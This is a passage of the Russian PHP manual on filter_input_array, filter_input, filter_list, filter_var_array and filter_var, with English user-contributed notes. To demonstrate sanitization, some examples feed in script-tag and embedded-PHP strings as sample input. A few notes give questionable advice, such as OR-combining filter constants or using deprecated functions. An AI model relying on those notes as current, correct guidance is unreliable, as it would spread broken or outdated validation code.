'component' => array('10'),
'version' => '2.0.33',
'testarray' => array('2', '23', '10', '12'),
'testscalar' => '2',
);
*/

$args = array(
'product_id' => FILTER_SANITIZE_ENCODED,
'component' => array('filter' => FILTER_VALIDATE_INT,
'flags' => FILTER_REQUIRE_ARRAY,
'options' => array('min_range' => 1, 'max_range' => 10)
),
'version' => FILTER_SANITIZE_ENCODED,
'doesnotexist' => FILTER_VALIDATE_INT,
'testscalar' => array(
'filter' => FILTER_VALIDATE_INT,
'flags' => FILTER_REQUIRE_SCALAR,
),
'testarray' => array(
'filter' => FILTER_VALIDATE_INT,
'flags' => FILTER_REQUIRE_ARRAY,
)

);

$myinputs = filter_input_array(INPUT_POST, $args);

var_dump($myinputs);
echo "\n";
?>

Результат выполнения приведённого примера:

array(6) {
  ["product_id"]=>
    string(17) "libgd%3Cscript%3E"
  ["component"]=>
  array(1) {
    [0]=>
    int(10)
  }
  ["version"]=>
    string(6) "2.0.33"
  ["doesnotexist"]=>
  NULL
  ["testscalar"]=>
  int(2)
  ["testarray"]=>
  array(4) {
    [0]=>
    int(2)
    [1]=>
    int(23)
    [2]=>
    int(10)
    [3]=>
    int(12)
  }
}

Примечания

Замечание:

В массиве INPUT_SERVER нет ключа REQUEST_TIME, потому что он будет позднее в $_SERVER.

Смотрите также

  • filter_input() - Получает конкретную внешнюю переменную по имени и, если нужно, фильтрует значение переменной
  • filter_var_array() - Принимает несколько переменных и, при необходимости, фильтрует их
  • Типы фильтров

User Contributed Notes

cornelyu85 at yahoo dot com 22-Aug-2023 04:26
Here's an extended function that allows you to keep also the unfiltered items/args from the request, while you also apply validation to some of them:

<?php

$validationRules = [
    'foo' => [
        'filter' => FILTER_VALIDATE_REGEXP,
        'options' => ['regexp' => '/^(bar|baz)$/i']
    ]
];

$request = filter_input_array_keep_unfiltered_args(INPUT_POST, $validationRules);

var_dump($request);

function filter_input_array_keep_unfiltered_args($type, $filters, $addEmpty = true)
{
    $rawRequest = filter_input_array($type);

    $validationRules = [];
    foreach ($rawRequest as $key => $value) {
        $validationRules[$key] = isset($filters[$key]) ? $filters[$key] : ['filter' => FILTER_DEFAULT];
    }

    return filter_input_array($type, $validationRules, $addEmpty);
}

?>
sdupuis at blax dot ca 21-Jan-2014 09:36
Note that although you can provide a default filter for the entire input array there is no way to provide a flag for that filter without building the entire definition array yourself.

So here is a small function that can alleviate this hassle!

<?php
function filter_input_array_with_default_flags($type, $filter, $flags, $add_empty = true) {
    $loopThrough = array();
    switch ($type) {
        case INPUT_GET : $loopThrough = $_GET; break;
        case INPUT_POST : $loopThrough = $_POST; break;
        case INPUT_COOKIE : $loopThrough = $_COOKIE; break;
        case INPUT_SERVER : $loopThrough = $_SERVER; break;
        case INPUT_ENV : $loopThrough = $_ENV; break;
    }

    $args = array();
    foreach ($loopThrough as $key=>$value) {
        $args[$key] = array('filter'=>$filter, 'flags'=>$flags);
    }

    return filter_input_array($type, $args, $add_empty);
}
?>
CertaiN 10-Jan-2014 04:40
[New Version]

Example Usage:
<?php
$_GET['A']['a'] = '  CORRECT(including some spaces)    ';
$_GET['A']['b'] = '  CORRECT(including some spaces)    ';
$_GET['A']['c'] = "Invalid UTF-8 sequence: \xe3\xe3\xe3";
$_GET['A']['d']['invalid_structure'] = 'INVALID';

$_GET['B']['a'] = '  CORRECT(including some spaces)    ';
$_GET['B']['b'] = "Invalid UTF-8 sequence: \xe3\xe3\xe3";
$_GET['B']['c']['invalid_structure'] = 'INVALID';
$_GET['B']["Invalid UTF-8 sequence: \xe3\xe3\xe3"] = 'INVALID';

$_GET['C']['a'] = '  CORRECT(including some spaces)    ';
$_GET['C']['b'] = "Invalid UTF-8 sequence: \xe3\xe3\xe3";
$_GET['C']['c']['invalid_structure'] = 'INVALID';
$_GET['C']["Invalid UTF-8 sequence: \xe3\xe3\xe3"] = 'INVALID';

$_GET['unneeded_item'] = 'UNNEEDED';

var_dump(filter_struct_utf8(INPUT_GET, array(
    'A' => array(
        'a' => '',
        'b' => FILTER_STRUCT_TRIM,
        'c' => '',
        'd' => '',
    ),
    'B' => FILTER_STRUCT_FORCE_ARRAY,
    'C' => FILTER_STRUCT_FORCE_ARRAY | FILTER_STRUCT_TRIM,
)));
?>

Example Result:
array(3) {
  ["A"]=>
  array(4) {
    ["a"]=>
    string(36) "  CORRECT(including some spaces)    "
    ["b"]=>
    string(30) "CORRECT(including some spaces)"
    ["c"]=>
    string(0) ""
    ["d"]=>
    string(0) ""
  }
  ["B"]=>
  array(3) {
    ["a"]=>
    string(36) "  CORRECT(including some spaces)    "
    ["b"]=>
    string(0) ""
    ["c"]=>
    string(0) ""
  }
  ["C"]=>
  array(3) {
    ["a"]=>
    string(30) "CORRECT(including some spaces)"
    ["b"]=>
    string(0) ""
    ["c"]=>
    string(0) ""
  }
}
CertaiN 10-Jan-2014 04:39
[New Version]
This function is very useful for filtering complicated array structure.
Also, Some integer bitmasks and invalid UTF-8 sequence detection are available.

Code:
<?php
/**
 * @param  integer $type    Constant like INPUT_XXX.
 * @param  array   $default Default structure of the specified super global var.
 *                          Following bitmasks are available:
 *  + FILTER_STRUCT_FORCE_ARRAY - Force 1 dimensional array.
 *  + FILTER_STRUCT_TRIM        - Trim by ASCII control chars.
 *  + FILTER_STRUCT_FULL_TRIM   - Trim by ASCII control chars,
 *                                full-width and no-break space.
 * @return array            The value of the filtered super global var.
 */
define('FILTER_STRUCT_FORCE_ARRAY', 1);
define('FILTER_STRUCT_TRIM', 2);
define('FILTER_STRUCT_FULL_TRIM', 4);
function filter_struct_utf8($type, array $default) {
    static $func = __FUNCTION__;
    static $trim = "[\\x0-\x20\x7f]";
    static $ftrim = "[\\x0-\x20\x7f\xc2\xa0\xe3\x80\x80]";
    static $recursive_static = false;
    if (!$recursive = $recursive_static) {
        $types = array(
            INPUT_GET => $_GET,
            INPUT_POST => $_POST,
            INPUT_COOKIE => $_COOKIE,
            INPUT_REQUEST => $_REQUEST,
        );
        if (!isset($types[(int)$type])) {
            throw new LogicException('unknown super global var type');
        }
        $var = $types[(int)$type];
        $recursive_static = true;
    } else {
        $var = $type;
    }
    $ret = array();
    foreach ($default as $key => $value) {
        if ($is_int = is_int($value)) {
            if (!($value | (
                FILTER_STRUCT_FORCE_ARRAY |
                FILTER_STRUCT_FULL_TRIM |
                FILTER_STRUCT_TRIM
            ))) {
                $recursive_static = false;
                throw new LogicException('unknown bitmask');
            }
            if ($value & FILTER_STRUCT_FORCE_ARRAY) {
                $tmp = array();
                if (isset($var[$key])) {
                    foreach ((array)$var[$key] as $k => $v) {
                        if (!preg_match('//u', $k)){
                            continue;
                        }
                        $value &= FILTER_STRUCT_FULL_TRIM | FILTER_STRUCT_TRIM;
                        $tmp += array($k => $value ? $value : '');
                    }
                }
                $value = $tmp;
            }
        }
        if ($isset = isset($var[$key]) and is_array($value)) {
            $ret[$key] = $func($var[$key], $value);
        } elseif (!$isset || is_array($var[$key])) {
            $ret[$key] = null;
        } elseif ($is_int && $value & FILTER_STRUCT_FULL_TRIM) {
            $ret[$key] = preg_replace("/\A{$ftrim}++|{$ftrim}++\z/u", '', $var[$key]);
        } elseif ($is_int && $value & FILTER_STRUCT_TRIM) {
            $ret[$key] = preg_replace("/\A{$trim}++|{$trim}++\z/u", '', $var[$key]);
        } else {
            $ret[$key] = preg_replace('//u', '', $var[$key]);
        }
        if ($ret[$key] === null) {
            $ret[$key] = $is_int ? '' : $value;
        }
    }
    if (!$recursive) {
        $recursive_static = false;
    }
    return $ret;
}
?>
CertaiN 29-Jul-2013 10:22
This function is very useful for filtering complicated array structure.

Code:
<?php
function filter_request($var, $default_structure) {

    $ret = array();

    foreach ($default_structure as $key => $value) {
        if (!isset($var[$key])) {
            $ret[$key] = $value;
        } elseif (is_array($value)) {
            $ret[$key] = filter_request($var[$key], $value);
        } elseif (is_array($var[$key])) {
            $ret[$key] = $value;
        } else {
            $ret[$key] = $var[$key];
        }
    }

    return $ret;

}
?>

Sample Usage:
<?php
$_GET['a']['wrong_structure'] = 'foo';
$_GET['b']['c'] = 'CORRECT';
$_GET['b']['d']['wrong_structure'] = 'bar';
$_GET['unneeded_item'] = 'baz';

var_dump(filter_request($_GET, array(
    'a' => 'DEFAULT',
    'b' => array(
        'c' => 'DEFAULT',
        'd' => 'DEFAULT',
    ),
)));
?>

Sample Result:
array(2) {
  ["a"]=>
  string(21) "DEFAULT"
  ["b"]=>
  array(2) {
    ["c"]=>
    string(12) "CORRECT"
    ["d"]=>
    string(21) "DEFAULT"
  }
}
Anonymous 22-Apr-2010 12:12
Beware: if none of the arguments is set, this function returns NULL, not an array of NULL values.

/* No POST vars set in request
$_POST = array();
*/

$args = array('some_post_var' => FILTER_VALIDATE_INT);
$myinputs = filter_input_array(INPUT_POST, $args);
var_dump($myinputs);

Expected Output: array(1) { ["some_post_var"]=> NULL }

Actual Output: NULL
ville at N0SPAM dot zydo dot com 13-Mar-2010 03:18
While filtering input arrays, be careful of what flags you set besides FILTER_REQUIRE_ARRAY. For example, setting the flags like so:

<?php
$filter = array(
'myInputArr' => array('filter' => FILTER_SANITIZE_STRING,
                      'flags' => array('FILTER_FLAG_STRIP_LOW', 'FILTER_REQUIRE_ARRAY'))
);

$form_inputs = filter_input_array(INPUT_POST, $filter);
?>

.. will result in a blank $form_inputs['myInputArr'] regardless of what $_POST['myInputArr'] contains.
kibblewhite at live dot com 26-Jan-2009 07:35
If you are trying to handling multiple form inputs with same name, then you must assign the `'flags'  => FILTER_REQUIRE_ARRAY` to the definitions entry.

Example, you have a html form as such:
<form>
 <input name="t1[]" value="Some string One" />
 <input name="t1[]" value="Another String Two" />
</form>

Your definitions array will look a little like this:
$args = array(
  't1'    => array(
      'name' => 't1',
      'filter' => FILTER_SANITIZE_STRING,
      'flags'  => FILTER_REQUIRE_ARRAY)
);
Kevin 08-Jul-2008 06:37
Looks like filter_input_array isn't aware of changes to the input arrays that were made before calling filter_input_array. Instead, it always looks at the originally submitted input arrays.

So this will not work:

$_POST['my_float_field'] = str_replace(',','.',$_POST['my_float_field']);
$args = array('my_float_field',FILTER_VALIDATE_FLOAT);
$result = filter_input_array(INPUT_POST, $args);


Получает конкретную внешнюю переменную по имени и, если нужно, фильтрует значение переменной

  • « filter_input_array
  • filter_list »
  • PHP Manual
  • Функции фильтрации данных
  • Получает конкретную внешнюю переменную по имени и, если нужно, фильтрует значение переменной

filter_input

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

filter_input — Получает конкретную внешнюю переменную по имени и, если нужно, фильтрует значение переменной

Описание

filter_input(
int $type,
string $var_name,
int $filter = FILTER_DEFAULT,
array|int $options = 0
): mixed

Список параметров

type

Константа INPUT_GET, INPUT_POST, INPUT_COOKIE, INPUT_SERVER или INPUT_ENV.

var_name

Имя переменной, которую требуется получить.

filter

Идентификатор (ID) фильтра, который требуется применить. Страница «Типы фильтров» приводит список доступных фильтров.

Если параметр опустили, принимается значение по умолчанию FILTER_DEFAULT, которое эквивалентно значению константы FILTER_UNSAFE_RAW. В результате поведением по умолчанию становится отсутствие фильтрации.

options

Ассоциативный массив параметров или флаги через побитовое ИЛИ. Если фильтр принимает параметры, флаги можно указать в массиве в элементе "flags".

Возвращаемые значения

Функция возвращает значение запрошенной переменной в случае успешного выполнения, false, если фильтрация не удалась, или null, если переменную var_name не установили. Если установили флаг FILTER_NULL_ON_FAILURE, а переменную не установили, функция возвращает false, и null, если фильтрация не удалась.

Примеры

Пример #1 Пример использования функции filter_input()

<?php

$search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
$search_url = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_ENCODED);
echo "Вы искали $search_html.\n";
echo "<a href='?search=$search_url'>Искать снова.</a>";

?>

Вывод приведённого примера будет похож на:

Вы искали Me &#38; son.
<a href='?search=Me%20%26%20son'>Искать снова.</a>

Смотрите также

  • filter_var() - Фильтрует переменную
  • filter_input_array() - Получает несколько переменных извне PHP и, при необходимости, фильтрует их
  • filter_var_array() - Принимает несколько переменных и, при необходимости, фильтрует их
  • Типы фильтров

User Contributed Notes

HonzaZ 05-Aug-2022 10:57
In fastcgi sapi implementations, filter_input(INPUT_SERVER) can return empty results.

In my case (8.1.9 64bit php-cgi) it was caused by auto_globals_jit enabled . When disabled (in php.ini on php startup), filter_input(INPUT_SERVER) works correctly.

php-fpm sapi isn't affected.
DoubleT 17-Aug-2018 07:44
Discovered interesting behavior when modifying super-globals directly.
$_GET['p'] = 1;
filter_input(INPUT_GET,'p'); //value is NULL

Is this expected?
John Smith 21-Nov-2014 04:48
1. The description of the options parameter is misleading. In order to pass the options (e.g. default, min_range and max_range) you must pass an associative array with a key called "options", which itself is an associative array containing option name => option value pairs.

2. The return values section does not mention that if you specify the "default" option then the function will return the specified default value instead of returning FALSE or NULL (when filter fails or variable is absent).
rimelek at rimelek dot hu 20-Oct-2014 08:44
If your $_POST contains an array value:
<?php
$_POST  = array(
    'var' => array('more', 'than', 'one', 'values')
);
?>
you should use FILTER_REQUIRE_ARRAY option:
<?php
var_dump(filter_input(INPUT_POST, 'var', FILTER_DEFAULT , FILTER_REQUIRE_ARRAY));
?>
Otherwise it returns false.
viaujoc at videotron dot ca 04-Oct-2014 04:14
filter_input() does not seem to support multiple values for a single variable name.

Here is the code comparing the behavior of bare $_GET superglobal vs filter_input(INPUT_GET,...):
<?php
print("Bare \$_GET:\n");
var_dump($_GET);
print("filter_input():\n");
var_dump(filter_input(INPUT_GET,"var"));
?>

When calling: /..../script.php?var=123 (there is only one value for variable 'var')
Output is:
Bare $_GET:
array(1) {
  ["var"]=>
  string(3) "123"
}
filter_input():
string(3) "123"

When calling: /..../script.php?var[]=123&var[]=999 (there are two  values for variable 'var')
Output is:
Bare $_GET:
array(1) {
  ["var"]=>
  array(2) {
    [0]=>
    string(3) "123"
    [1]=>
    string(3) "999"
  }
}
filter_input():
bool(false)

As expected, $_GET['var'] became an array. But filter_input() seems to be unable to process multiple values and returns false.
CertaiN 23-May-2014 01:22
This function provides us the extremely simple solution for type filtering.

Without this function...
<?php
if (!isset($_GET['a'])) {
    $a = null;
} elseif (!is_string($_GET['a'])) {
    $a = false;
} else {
    $a = $_GET['a'];
}
$b = isset($_GET['b']) && is_string($_GET['b']) ? $_GET['b'] : '';
?>

With this function...
<?php
$a = filter_input(INPUT_GET, 'a');
$b = (string)filter_input(INPUT_GET, 'b');
?>

Yes, FILTER_REQUIRE_SCALAR seems to be set as a default option.
It's very helpful for eliminating E_NOTICE, E_WARNING and E_ERROR.
This fact should be documented.
descartavel1+php at gmail dot com 21-Apr-2014 06:50
contrary to what is stated here on the comments on thow to use the options for filters, there is no range option or default... in fact, there is not much option AT ALL. It is not mentioned in the manual anywhere, and the provided code on that comment does nothing with php-5.4.4..

<?php
get(GET, 'p', FILTER_VALIDATE_INT, array('options'=>array('default'=>5, 'min_range'=>0, 'max_range'=>9)) );
// ?p=30 => 30
// ?p="123" => 123
// ?p=-23 => -23
// ?p=asdf => null
?>
Stefan Weinzierl 16-Feb-2014 04:31
Here is an example how to work with the options-parameter. Notice the 'options' in the 'options'-Parameter!

<?php
$options=array('options'=>array('default'=>5, 'min_range'=>0, 'max_range'=>9));

$priority=filter_input(INPUT_GET, 'priority', FILTER_VALIDATE_INT, $options);
?>

$priority will be 5 if the priority-Parameter isn't set or out the given range.
akshay dot leadindia at gmail dot com 29-Aug-2013 02:17
The beauty of using this instead of directly using filter_var( $_GET['search'] ) is that you don't need to check if( isset( $_GET['search'] ) ) as if you pass that to filter_var and the key is not set then it will result in a warning. This function simplifies this and will return the relevant result to you (as per your options set) if the key has not been set in the user input.

If the type of filter you are using also supports a 'default' argument then this function will also stuff your missing input key with that value, again saving your efforts
west {:a7} jsausa {:d0t}~ com 28-Nov-2012 08:30
It's worth noting that the names for variables in filter input obey the same rules as variable naming in PHP (must start with an underscore or letter).  We were allowing users to build custom forms but hashing the names to prevent them from putting arbitrary content into the dom.  Turns out the hash function occasionally produced entirely numeric values for the field name... which doesn't work with filter_input but worked fine if you read directly from $_GET, $_POST, or $_REQUEST.  A workaround is to always prefix an underscore to the field name.
chris at chlab dot ch 20-Mar-2012 09:46
To use a class method for a callback function, as usual, provide an array with an instance of the class and the method name.
Example:

<?php
class myValidator
{
  public function username($value)
  {
    // return username or boolean false
  }
}

$myValidator = new myValidator;
$options = array('options' => array($myValidator, 'username'));
$username = filter_input(INPUT_GET, 'username', FILTER_CALLBACK, $options);
var_dump($username);
?>
ss23 at ss23 dot geek dot nz 28-Jul-2010 11:37
Note that this function doesn't (or at least doesn't seem to) actually filter based on the current values of $_GET etc. Instead, it seems to filter based off the original values.
<?php
$_GET['search'] = 'foo'; // This has no effect on the filter_input

$search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
$search_url = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_ENCODED);
echo "You have searched for $search_html.\n";
echo "<a href='?search=$search_url'>Search again.</a>";
?>

If you need to set a default input value and filter that, use filter_var on your required input variable instead
travismowens at gmail dot com 28-Jul-2010 09:21
I wouldn't recommend people use this function to store their data in a database.  It's best not to encode data when storing it, it's better to store it raw and convert in upon the time of need.

One main reason for this is because if you have a short CHAR(16) field and the text contains encoded characters (quotes, ampersand) you can easily take a 12 character entry which obviously fits, but because of encoding it no longer fits.

Also, while not as common, if you need to use this data in another place, such as a non webpage (perhaps in a desktop app, or to a cell phone SMS or to a pager) the HTML encoded data will appear raw, and now you have to decode the data.

In summary, the best way to architect your system, is to store data as raw, and encode it only the moment you need to.  So this means in your PHP upon doing a SQL query, instead of merely doing an   echo $row['title']  you need to run htmlentities() on your echos, or better yet, an abstract function.
Maksym Karazeev 03-Mar-2009 01:13
Just a tip.

Note how to setup default filter for filter_var_array

When I tried to use filter_var_array and didn't mentioned all array indexes in definition it filtered it with some filter and broke values so using this tip corrected everything

<?php
$def = array_map(create_function('', 'return array("filter"=>FILTER_UNSAFE_RAW);'), $input);
?>
anthony dot parsons at manx dot net 23-Aug-2007 02:10
FastCGI seems to cause strange side-effects with unexpected null values when using INPUT_SERVER and INPUT_ENV with this function. You can use this code to see if it affects your server:
<?php
var_dump($_SERVER);
foreach ( array_keys($_SERVER) as $b ) {
    var_dump($b, filter_input(INPUT_SERVER, $b));
}
echo '<hr>';
var_dump($_ENV);
foreach ( array_keys($_ENV) as $b ) {
    var_dump($b, filter_input(INPUT_ENV, $b));
}
?>
If you want to be on the safe side, using the superglobal $_SERVER and $_ENV variables will always work. You can still use the filter_* functions for Get/Post/Cookie without a problem, which is the important part!


Возвращает список всех поддерживаемых фильтров

  • « filter_input
  • filter_var_array »
  • PHP Manual
  • Функции фильтрации данных
  • Возвращает список всех поддерживаемых фильтров

filter_list

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

filter_list — Возвращает список всех поддерживаемых фильтров

Описание

filter_list(): array

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив имён всех поддерживаемых фильтров, пустой массив, если таких фильтров не существует. Идентификаторы (ID) фильтров не являются ключами этого массива, они могут быть получены с помощью функции filter_id() по имени фильтра.

Примеры

Пример #1 Пример использования filter_list()

<?php
print_r(filter_list());
?>

Вывод приведённого примера будет похож на:

Array
(
    [0] => int
    [1] => boolean
    [2] => float
    [3] => validate_regexp
    [4] => validate_url
    [5] => validate_email
    [6] => validate_ip
    [7] => string
    [8] => stripped
    [9] => encoded
    [10] => special_chars
    [11] => unsafe_raw
    [12] => email
    [13] => url
    [14] => number_int
    [15] => number_float
    [16] => magic_quotes
    [17] => callback
)

User Contributed Notes

shaman_master at list dot ru 18-Mar-2020 09:13
2 strings, but it's faster (-2 calls) and not the longest
<?php
$filters = filter_list();
$filters =  array_combine($filters, array_map('filter_id',  $filters));
?>
also I use id's as values: $filters[$filter] - get filter id by name
El diablo 07-Mar-2018 08:43
Get filter_list() with filter_id() as key.

<?php
print_r(array_flip(array_map('filter_id', array_combine(filter_list(), filter_list()))));
?>

Array
(
    [257] => int
    [258] => boolean
    [259] => float
    [272] => validate_regexp
    [277] => validate_domain
    [273] => validate_url
    [274] => validate_email
    [275] => validate_ip
    [276] => validate_mac
    [513] => stripped
    [514] => encoded
    [515] => special_chars
    [522] => full_special_chars
    [516] => unsafe_raw
    [517] => email
    [518] => url
    [519] => number_int
    [520] => number_float
    [521] => magic_quotes
    [1024] => callback
)
larry at weblabsperth dot com dot au 05-Sep-2016 09:42
Output a table of Filter IDs as Integers with corresponding Constant IDs:

<?php

echo '<table>';
echo '<tr>';
echo '<th>Filter Name</th>';
echo '<th>Filter Int ID</th>';
echo '<th>Filter Const ID</th>';
echo '</tr>';

foreach (filter_list() as $id =>$filter) {
    $const = 'FILTER_';
    switch($filter) {
        case 'int':
        case 'boolean':
        case 'float':
            $const .= 'VALIDATE_' . $filter;
        break;

        case 'string':
        case 'stripped':
        case 'encoded':
        case 'special_chars':
        case 'full_special_chars':
        case 'unsafe_raw':
        case 'email':
        case 'url':
        case 'number_int':
        case 'number_float':
        case 'magic_quotes':
            $const .= 'SANITIZE_' . $filter;
        break;
    }

    if (substr($filter,0,8)=='validate' || $filter=='callback')
        $const .= $filter;

    echo '<tr><td>' . $filter . '</td><td align="center">' . filter_id($filter) . '</td><td>' . strtoupper($const) . '</td></tr>';
}

echo '</table>';

?>
vb dot jyoti at gmail dot com 13-Aug-2008 11:57
<?php
echo "<pre>";
print_r(filter_list());
echo "</pre>";
foreach (filter_list() as $key => $value)
{
echo "<br>".$key."=".$value.'='.filter_id($value);
}
?>

0=int=257
1=boolean=258
2=float=259
3=validate_regexp=272
4=validate_url=273
5=validate_email=274
6=validate_ip=275
7=string=513
8=stripped=513
9=encoded=514
10=special_chars=515
11=unsafe_raw=516
12=email=517
13=url=518
14=number_int=519
15=number_float=520
16=magic_quotes=521
17=callback=1024


Принимает несколько переменных и, при необходимости, фильтрует их

  • « filter_list
  • filter_var »
  • PHP Manual
  • Функции фильтрации данных
  • Принимает несколько переменных и, при необходимости, фильтрует их

filter_var_array

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

filter_var_array — Принимает несколько переменных и, при необходимости, фильтрует их

Описание

filter_var_array(array $array, array|int $options = FILTER_DEFAULT, bool $add_empty = true): array|false|null

Эта функция полезна для получения множества переменных без многократного вызова функции filter_var().

Список параметров

array

Массив со строковыми ключами, содержащий данные для фильтрации.

options

Массив, определяющий параметры. Допустимый ключ - строка string, содержащая имя переменной, а допустимое значение - тип фильтра, или массив (array), при необходимости определяющий фильтр, флаги и параметры. Если значение является массивом, допустимыми ключами являются filter, который определяет тип фильтра, flags, который определяет любые флаги, применяемые к фильтру, и options, который определяет любые параметры, применяемые к фильтру. Смотрите пример ниже для лучшего понимания.

Этот параметр также может быть целым числом, содержащим предопределённую константу фильтра. Затем все значения во входном массиве фильтруются этим фильтром.

add_empty

Добавляет в результат отсутствующие ключи со значением null.

Возвращаемые значения

Массив, содержащий значения запрошенных переменных в случае успешного выполнения, или false в случае возникновения ошибки. Значение массива будет false, если фильтрация завершилась неудачей, или null, если переменная не определена.

Примеры

Пример #1 Пример использования filter_var_array()

<?php

$data = array(
'product_id' => 'libgd<script>',
'component' => '10',
'versions' => '2.0.33',
'testscalar' => array('2', '23', '10', '12'),
'testarray' => '2',
);

$args = array(
'product_id' => FILTER_SANITIZE_ENCODED,
'component' => array('filter' => FILTER_VALIDATE_INT,
'flags' => FILTER_FORCE_ARRAY,
'options' => array('min_range' => 1, 'max_range' => 10)
),
'versions' => FILTER_SANITIZE_ENCODED,
'doesnotexist' => FILTER_VALIDATE_INT,
'testscalar' => array(
'filter' => FILTER_VALIDATE_INT,
'flags' => FILTER_REQUIRE_SCALAR,
),
'testarray' => array(
'filter' => FILTER_VALIDATE_INT,
'flags' => FILTER_FORCE_ARRAY,
)

);

$myinputs = filter_var_array($data, $args);

var_dump($myinputs);
echo "\n";
?>

Результат выполнения приведённого примера:

array(6) {
  ["product_id"]=>
    string(17) "libgd%3Cscript%3E"
  ["component"]=>
  array(1) {
    [0]=>
    int(10)
  }
  ["versions"]=>
    string(6) "2.0.33"
  ["doesnotexist"]=>
  NULL
  ["testscalar"]=>
  bool(false)
  ["testarray"]=>
  array(1) {
    [0]=>
    int(2)
  }
}

Смотрите также

  • filter_input_array() - Получает несколько переменных извне PHP и, при необходимости, фильтрует их
  • filter_var() - Фильтрует переменную
  • filter_input() - Получает конкретную внешнюю переменную по имени и, если нужно, фильтрует значение переменной
  • Типы фильтров

User Contributed Notes

Anonymous 19-Jan-2023 07:07
To apply the same filter to many params/keys, use array_fill_keys().

<?php
$data = array(
    'product_id'    => 'libgd<script>',
    'component'     => '    10    ',
    'versions'      => '2.0.33',
    'testscalar'    => array('2', '23', '10', '12'),
    'testarray'     => '2',
);
$keys = array(
    'product_id',
    'component',
    'versions',
    'doesnotexist',
    'testscalar',
    'testarray'
);
$options = array(
    'filter' => FILTER_CALLBACK,
    'options' => function ($value) {
        return trim(strip_tags($value));
    },
);
$args = array_fill_keys($keys, $options);
/* Result
$args = array(
    'product_id' => array(
        'filter' => FILTER_CALLBACK,
        'options' => function ($value) {
            return trim(strip_tags($value));
        },
    ),
    'component' => array(
        'filter' => FILTER_CALLBACK,
        'options' => function ($value) {
            return trim(strip_tags($value));
        },
    ),
    'versions' => array(
        'filter' => FILTER_CALLBACK,
        'options' => function ($value) {
            return trim(strip_tags($value));
        },
    ),
    'doesnotexist' => array(
        'filter' => FILTER_CALLBACK,
        'options' => function ($value) {
            return trim(strip_tags($value));
        },
    ),
    'testscalar' => array(
        'filter' => FILTER_CALLBACK,
        'options' => function ($value) {
            return trim(strip_tags($value));
        },
    ),
    'testarray' => array(
        'filter' => FILTER_CALLBACK,
        'options' => function ($value) {
            return trim(strip_tags($value));
        },
    ),
);
*/

$myinputs = filter_var_array($data, $args);
var_dump($myinputs);

Output:

array(6) {
  'product_id' =>
  string(5) "libgd"
  'component' =>
  string(2) "10"
  'versions' =>
  string(6) "2.0.33"
  'doesnotexist' =>
  NULL
  'testscalar' =>
  array(4) {
    [0] =>
    string(1) "2"
    [1] =>
    string(2) "23"
    [2] =>
    string(2) "10"
    [3] =>
    string(2) "12"
  }
  'testarray' =>
  string(1) "2"
}
Vee W. 19-Jun-2019 04:37
$emails = [
    'a' => 'email1@domain.com',
    'b' => '<email2>@domain.com',
];

$result = filter_var_array($emails, FILTER_SANITIZE_EMAIL);
print_r($result);

// the result will be...
// array('a' => 'email1@domain.com', 'b' => 'email2@domain.com')
tongcheong77 at gmail dot com 12-Jul-2017 05:44
an update to previous post.

using regular expressions along with another filter in filter var array

$data = array(

  'regxp' =>  "`\tcafe\n`"

  );

$args = array(

  'regxp'  =>  array(

  'filter'=>FILTER_VALIDATE_REGEXP | FILTER_SANITIZE_STRING,
  'flags'=>FILTER_FLAG_STRIP_HIGH | FILTER_FLAG_STRIP_LOW | FILTER_FLAG_STRIP_BACKTICK,
  'options'=>array('regexp'=>"/t(.*)/"),

  ));

$output=filter_var_array($data,$args);

var_dump($output); // array(1) { ["regxp"]=> string(3) "caf" }

-bruce tong
tongcheong77 at gmail dot com 10-Jul-2017 06:10
for those who would like to know how to use regular expressions with filter var array. taken from w3 schools.

$data = array(

  'regxp' =>  'michael'

  );

$args = array(

  'regxp'  =>  array(

  'filter'=>FILTER_VALIDATE_REGEXP | FILTER_SANITIZE_STRING,
  'options'=>array('regexp'=>"/^michael$/"),

  ));

$output=filter_var_array($data,$args);

var_dump($output); // array(1) { ["regxp"]=> string(7) "michael" }

- bruce tong
eguvenc at gmail dot com 06-Jun-2009 03:45
<?php
//an example of simply sanitize an array..

$data = array(
                '<b>bold</b>',
                '<script>javascript</script>',
                'P*}i@893746%%%p*.i.*}}|.dw<?php echo "echo works!!";?>');

$myinputs = filter_var_array($data,FILTER_SANITIZE_STRING);

var_dump($myinputs);

//OUTPUT:
//formarray(3) { [0]=> string(4) "bold" [1]=> string(10) "javascript" [2]=> string(26) "P*}i@893746%%%p*.i.*}}|.dw" }
?>


Фильтрует переменную

  • « filter_var_array
  • Управление функциями »
  • PHP Manual
  • Функции фильтрации данных
  • Фильтрует переменную

filter_var

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

filter_var — Фильтрует переменную

Описание

filter_var(mixed $value, int $filter = FILTER_DEFAULT, array|int $options = 0): mixed

Список параметров

value

Значение, которое требуется отфильтровать. Обратите внимание, что перед фильтрацией скалярные значения внутренне преобразовываются в строку.

filter

Идентификатор (ID) фильтра, который требуется применить. Страница «Типы фильтров» приводит список доступных фильтров.

Если параметр опустили, принимается значение по умолчанию FILTER_DEFAULT, которое эквивалентно значению константы FILTER_UNSAFE_RAW. В результате поведением по умолчанию становится отсутствие фильтрации.

options

Ассоциативный массив параметров или флаги через побитовое ИЛИ. Если фильтр принимает параметры, флаги можно указать в массиве в элементе "flags". Для фильтра "callback" требуется передать значение с типом callable. Фильтр "callback" должен принимать один аргумент, значение для фильтрации и возвращать значение после фильтрации или очистки.

<?php

// Формат для фильтров, которые принимают параметры
$options = array(
'options' => array(
'default' => 3, // Значение, которое вернётся при сбое фильтрации
// Другие параметры
'min_range' => 0
),
'flags' => FILTER_FLAG_ALLOW_OCTAL,
);

$var = filter_var('0755', FILTER_VALIDATE_INT, $options);

// Для фильтров, которые принимают только флаги, флаги разрешается передавать напрямую
$var = filter_var('oops', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE);

// Для фильтров, которые принимает только флаги, флаги также разрешается передавать как массив
$var = filter_var(
'oops',
FILTER_VALIDATE_BOOLEAN,
array('flags' => FILTER_NULL_ON_FAILURE)
);

// Callback-функция фильтра валидации
function foo($value)
{
// Ожидаемый формат: Фамилия, Имена
